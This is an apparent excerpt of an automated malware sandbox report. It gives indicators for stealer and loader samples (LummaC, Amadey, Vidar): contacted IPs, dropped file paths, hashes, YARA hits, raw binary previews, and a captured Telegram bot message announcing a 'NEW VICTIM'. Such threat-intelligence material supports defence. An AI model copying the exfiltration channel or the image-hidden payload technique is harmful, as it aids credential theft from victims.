                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRATBrowse
                                                                                                                                                                                                                                                      • 104.21.67.146
                                                                                                                                                                                                                                                      • 104.21.91.209
                                                                                                                                                                                                                                                      Loader.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                      • 104.21.67.146
                                                                                                                                                                                                                                                      • 104.21.91.209
                                                                                                                                                                                                                                                      37f463bf4616ecd445d4a1937da06e19Oggq2dY6kx.exeGet hashmaliciousAzorultBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      Setup.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      q9bzWO2X1r.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      doc00290320092.jseGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      Fortexternal.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      676556be12ac3.vbsGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81
                                                                                                                                                                                                                                                      PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.htaGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                                                                                      • 172.217.17.65
                                                                                                                                                                                                                                                      • 172.217.17.46
                                                                                                                                                                                                                                                      • 34.117.59.81

                                                                                                                                                                                                                                                      Dropped Files

                                                                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                                      C:\Program Files\Windows Media Player\graph\graph.exefile.exeGet hashmaliciousScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                        file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                          file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, VidarBrowse
                                                                                                                                                                                                                                                            file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exefile.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                  file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, AsyncRAT, LummaC Stealer, XWormBrowse
                                                                                                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                                                                                file.exeGet hashmaliciousNetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog StealerBrowse

                                                                                                                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                                                                                                                  C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:PNG image data, 438 x 438, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):156917
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.994509354006501
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:3072:T0ogum1PKnCjOE92xFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre:T0oRCa6Gz4U9+6Q3O+Fre
                                                                                                                                                                                                                                                                                  MD5:F89267B24ECF471C16ADD613CEC34473
                                                                                                                                                                                                                                                                                  SHA1:C3AAD9D69A3848CEDB8912E237B06D21E1E9974F
                                                                                                                                                                                                                                                                                  SHA-256:21F12ABB6DE14E72D085BC0BD90D630956C399433E85275C4C144CD9818CBF92
                                                                                                                                                                                                                                                                                  SHA-512:C29176C7E1D58DD4E1DEAFCBD72956B8C27E923FB79D511EE244C91777D3B3E41D0C3977A8A9FBE094BAC371253481DDE5B58ABF4F2DF989F303E5D262E1CE4D
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive, Description: Detects images embedding archives. Observed in TheRat RAT., Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, Author: ditekSHen
                                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR................p....IDATx....|.e....3......D dw6...S..Y.[......#*L..g.r.....$XA=.f.............)...?.I.(.dv.3.l..~>~>..3.dw.y.<o.$I......+.a...t..=.h..@......#.*....%X...C..TE....6g......0..q.......=.d>..e[-.R..,..$)YN<...2'..$..t.m.<l@...^..sJR.&..$%...c.....-9?a33..K..(+.[.$..2.IRk.xb..&..L..%..:.o....$)...&I..}.@b.u.}lny=...E.?..]IJ..LjK.4..#....$.......5...mK.....$.k.i.2....,8.j..`....C..E&6I....R..DzM.Ci..]..x{.*.H.S.HI2k.....s.Jj..(.....D."IN!..$..t...cE.....S.[t....r(R...>.Pr.. Gt(1.l`......@$I4.c.$..Ew;8.E(..>.AH.....$.d..B..T..d6Fa....$...A.$......Y!..D. I....$5g......@..PL2...a..D."I...U.$.c.O......r.. $I$..$...#..V.(.b..d..M.....cH.q(.v..B.D..M.b9f\>...H@>6.b...2.IR,.0 ..X....$."..$...~.CH.b. :.I.E&6I.EA..!$../:.I.E&6I.I...A.rE. I...&I.....B.h...$I...$).V...!a..C.$Qdb..X.|':....+:.I.E&6I..:cM4..$c...$I...$)...v.X-:..l.......V..M..A.KE../"ZR_.L..Ll...C.D../..E. I"..&I...fth/uT.y...$.db......y.a.E..X....qH.H2.IR....@..8..

                                                                                                                                                                                                                                                                                  C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):123394
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.993523589542907
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:1536:NoxiTioXtBWFfsYExW94I9tiiGCidzWdZNF9p3Ymn9Zqmi943C42nYEmL9yqhTjV:yxFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre
                                                                                                                                                                                                                                                                                  MD5:53E54AC43786C11E0DDE9DB8F4EB27AB
                                                                                                                                                                                                                                                                                  SHA1:9C5768D5EE037E90DA77F174EF9401970060520E
                                                                                                                                                                                                                                                                                  SHA-256:2F606D24809902AF1BB9CB59C16A2C82960D95BFF923EA26F6A42076772F1DB8
                                                                                                                                                                                                                                                                                  SHA-512:CD1F6D5F4D8CD19226151B6674124AB1E10950AF5A049E8C082531867D71BFAE9D7BC65641171FD55D203E4FBA9756C80D11906D85A30B35EE4E8991ADB21950
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:PK........DwiY(..wj...........graph.exe..{|...8......f....D]5..HP..d..... Q@b.1.[$.\..&.p.....j.-.V..6...=P!.U@...K...*.>.sf7..b...._/...3....<....oY/..A...................u....].l.(...UyWuv....\x....w.......0|_.].e........*==.m.qq....v....g...~o.........~.V?@.s.......z.......#|.o..........~.].X...%.A......>..xZ.p.0.:.2a.U..PZ...E.^.`>......+d.9..s.x..O.....+............K.2...3...9.M......k3;j.[o.*mg..U.%!...A+.....3O6T{...o....j.:.4.]m...q.{..&...?.A....Q[.|..x.K.X....U.|..V/,......6...|w.s..@0BX...O.I..._..R..@~T.2.t..IK?..M.E.|^............B._C.....-..y;....V.......,|f.wl......:...T./4TbV.\.+..H.....2%.sZ..D.#..}.o..x..w... ..p.!..,..o ...S.]......].}.......c.w..2...<s........!.2'....m.v.><...Ox...O.(C.....@....T.o.Uwm......(ve<...x.f3..\...D..X._.G.7.3.l;..>tQ...5.e..D...lO.i{./..;.JgK........ ...tJ. I.....>..8..Pa...=.Il.S..?.)..@}...:..Cmh.;.v...T.{K..9.)Pqg.%..5.....6..<w..........`-..+h..oA...2.K.......{.."..Wu.;I..w.^o...

                                                                                                                                                                                                                                                                                  C:\Program Files\Windows Media Player\graph\graph.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):251392
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.173345887744036
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6144:TxwndeWCdXSpfDYlUgEP86yZ7JUlfQEc:Tx1dXYYlLEP8l7J8
                                                                                                                                                                                                                                                                                  MD5:7D254439AF7B1CAAA765420BEA7FBD3F
                                                                                                                                                                                                                                                                                  SHA1:7BD1D979DE4A86CB0D8C2AD9E1945BD351339AD0
                                                                                                                                                                                                                                                                                  SHA-256:D6E7CEB5B05634EFBD06C3E28233E92F1BD362A36473688FBAF952504B76D394
                                                                                                                                                                                                                                                                                  SHA-512:C3164B2F09DC914066201562BE6483F61D3C368675AC5D3466C2D5B754813B8B23FD09AF86B1F15AB8CC91BE8A52B3488323E7A65198E5B104F9C635EC5ED5CC
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                                  Joe Sandbox View:
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.1!am_ram_ram_r*.\sdm_r*.Zs.m_rq.\skm_rq.[sqm_r*.[spm_rq.Zs8m_r*.^shm_ram^r.m_r*.Vs`m_r*.r`m_r*.]s`m_rRicham_r........PE..d...../g.........."....).|...n.................@............................. ............`.....................................................d...............`'...................A..p...........................`@..@...............h............................text....z.......|.................. ..`.rdata..............................@..@.data...$-..........................@....pdata..`'.......(..................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\output[1].png

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:PNG image data, 438 x 438, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):156917
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.994509354006501
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:3072:T0ogum1PKnCjOE92xFfR4Iti+Zv95YU9Zq3mLTp1lD+tFre:T0oRCa6Gz4U9+6Q3O+Fre
                                                                                                                                                                                                                                                                                  MD5:F89267B24ECF471C16ADD613CEC34473
                                                                                                                                                                                                                                                                                  SHA1:C3AAD9D69A3848CEDB8912E237B06D21E1E9974F
                                                                                                                                                                                                                                                                                  SHA-256:21F12ABB6DE14E72D085BC0BD90D630956C399433E85275C4C144CD9818CBF92
                                                                                                                                                                                                                                                                                  SHA-512:C29176C7E1D58DD4E1DEAFCBD72956B8C27E923FB79D511EE244C91777D3B3E41D0C3977A8A9FBE094BAC371253481DDE5B58ABF4F2DF989F303E5D262E1CE4D
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive, Description: Detects images embedding archives. Observed in TheRat RAT., Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\output[1].png, Author: ditekSHen
                                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR................p....IDATx....|.e....3......D dw6...S..Y.[......#*L..g.r.....$XA=.f.............)...?.I.(.dv.3.l..~>~>..3.dw.y.<o.$I......+.a...t..=.h..@......#.*....%X...C..TE....6g......0..q.......=.d>..e[-.R..,..$)YN<...2'..$..t.m.<l@...^..sJR.&..$%...c.....-9?a33..K..(+.[.$..2.IRk.xb..&..L..%..:.o....$)...&I..}.@b.u.}lny=...E.?..]IJ..LjK.4..#....$.......5...mK.....$.k.i.2....,8.j..`....C..E&6I....R..DzM.Ci..]..x{.*.H.S.HI2k.....s.Jj..(.....D."IN!..$..t...cE.....S.[t....r(R...>.Pr.. Gt(1.l`......@$I4.c.$..Ew;8.E(..>.AH.....$.d..B..T..d6Fa....$...A.$......Y!..D. I....$5g......@..PL2...a..D."I...U.$.c.O......r.. $I$..$...#..V.(.b..d..M.....cH.q(.v..B.D..M.b9f\>...H@>6.b...2.IR,.0 ..X....$."..$...~.CH.b. :.I.E&6I.EA..!$../:.I.E&6I.I...A.rE. I...&I.....B.h...$I...$).V...!a..C.$Qdb..X.|':....+:.I.E&6I..:cM4..$c...$I...$)...v.X-:..l.......V..M..A.KE../"ZR_.L..Ll...C.D../..E. I"..&I...fth/uT.y...$.db......y.a.E..X....qH.H2.IR....@..8..

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):4438776
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.99505709582503
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
                                                                                                                                                                                                                                                                                  MD5:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                                                  SHA1:7B50E108E293E54C15DCE816552356F424EEA97A
                                                                                                                                                                                                                                                                                  SHA-256:BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
                                                                                                                                                                                                                                                                                  SHA-512:A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 87%
                                                                                                                                                                                                                                                                                  Joe Sandbox View:
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                                                  Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):4468736
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.984920105910557
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:98304:d+ti7+kh2BWzN/cki6Xayhos0BtruSybD/Ko6gELrpP:Ati7+I2BWzpPi6X7mxf6tbbPs
                                                                                                                                                                                                                                                                                  MD5:49FC187B211896A8D43FB7F54686B072
                                                                                                                                                                                                                                                                                  SHA1:202FBB9B53023F6C3C101A871E716A35EE06F69D
                                                                                                                                                                                                                                                                                  SHA-256:529C63741B376355BC8CD10C2D28279719E2167474D02272FB365D3F1F536129
                                                                                                                                                                                                                                                                                  SHA-512:D58B50D743D52CCB09F1A41D651258AD6648099B24DE63C5E416669AFEFA26D685BF2AB1CC80D693753F32BA2ECFFD25334D1BC360B7D7ADF0AC442C78A37ACF
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@.................................dVD...@... ............................._pt.s....`t............................................................................................................. . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... .p8...t......`(.............@...pfkrromk............b(.............@...hghjijlv..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):439296
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.4903731089009495
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12288:v4RG6lx/9Njr18QlSfJy4FjMSkJCzDLGDWD:O9NtSTZMzmmD4
                                                                                                                                                                                                                                                                                  MD5:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  SHA1:B9B0253480A1B6CBDD673383320FECAE5EFB3DCE
                                                                                                                                                                                                                                                                                  SHA-256:2E3A5DFA44D59681A60D78B8B08A1AF3878D8E270C02D7E31A0876A85EB42A7E
                                                                                                                                                                                                                                                                                  SHA-512:C2B8D15B0DC1B0846F39CE007BE2DEB41D5B6AE76AF90D618F29DA8691ED987C42F3C270F0EA7F4D10CBD2D3877118F4133803C9C965B6FF236FF8CFAFD9367C
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 55%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L....3dg............................'.............@..........................0............@..................................E...................................E......8...............................@...............<............................text...j........................... ..`.rdata...H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sendMessage[1].json

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):777
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.121464607961469
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24:YKOHJy1JVBa4YGQVPe071kW/PyoZEB6PPiasJENBm9c:YVHJQTBj/Q51TPtZ2ujMc
                                                                                                                                                                                                                                                                                  MD5:6DE99C5102F09DBEFC663B75673899DD
                                                                                                                                                                                                                                                                                  SHA1:EBD203CC11BA7DA8A27CDD8D3780EE9EDAA9BD98
                                                                                                                                                                                                                                                                                  SHA-256:F6349B845323C5C5C9201DD0CCD4BCDD9C01A01EAE67AF030B84FBBA580D35B1
                                                                                                                                                                                                                                                                                  SHA-512:028871D3991B85CAD2BB9E9B10D433E462E8E364F6F08D25310BF3D6281E5CB0CCAB3B5C72A3693C5D3690F9FAB2500F5B52223113155F4A791012812601C5E8
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:{"ok":true,"result":{"message_id":26672,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432","username":"kardanvalov88","type":"private"},"date":1734779753,"text":"\ud83d\udd14NEW VICTIM - Extensions Installed\nIP Address: 8.46.123.189\nDevice Name: 494126\nLocation: New York City, New York, US\nWallets:\nNothing found","entities":[{"offset":0,"length":35,"type":"bold"},{"offset":36,"length":11,"type":"bold"},{"offset":48,"length":12,"type":"url"},{"offset":61,"length":12,"type":"bold"},{"offset":81,"length":9,"type":"bold"},{"offset":119,"length":8,"type":"bold"},{"offset":128,"length":13,"type":"code"}]}}

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):605696
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.377818589865092
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12288:aYoGFIZzm1vI5ubYumjqu6lpvD/IlfUye7K3c:aYoGFIZzm1vlbFmjWlpL/Iw7K3
                                                                                                                                                                                                                                                                                  MD5:3567CB15156760B2F111512FFDBC1451
                                                                                                                                                                                                                                                                                  SHA1:2FDB1F235FC5A9A32477DAB4220ECE5FDA1539D4
                                                                                                                                                                                                                                                                                  SHA-256:0285D3A6C1CA2E3A993491C44E9CF2D33DBEC0FB85FDBF48989A4E3B14B37630
                                                                                                                                                                                                                                                                                  SHA-512:E7A31B016417218387A4702E525D33DD4FE496557539B2AB173CEC0CB92052C750CFC4B3E7F02F3C66AC23F19A0C8A4EB6C9D2B590A5E9FAEB525E517BC877BA
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 63%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M...............B.......B.......v.......v......B........v..c...R.......B.......B...............Bw......Bw+.......C.....Bw......Rich....................PE..d...1.1g.........."....).....l.......2.........@..........................................`..........................................................`..H.......tL...........p..........p.......................(...@...@............................................text...>........................... ..`.rdata..d...........................@..@.data....;..........................@....pdata..tL.......N..................@..@.rsrc...H....`.......,..............@..@.reloc.......p.......2..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                                                  Category:modified
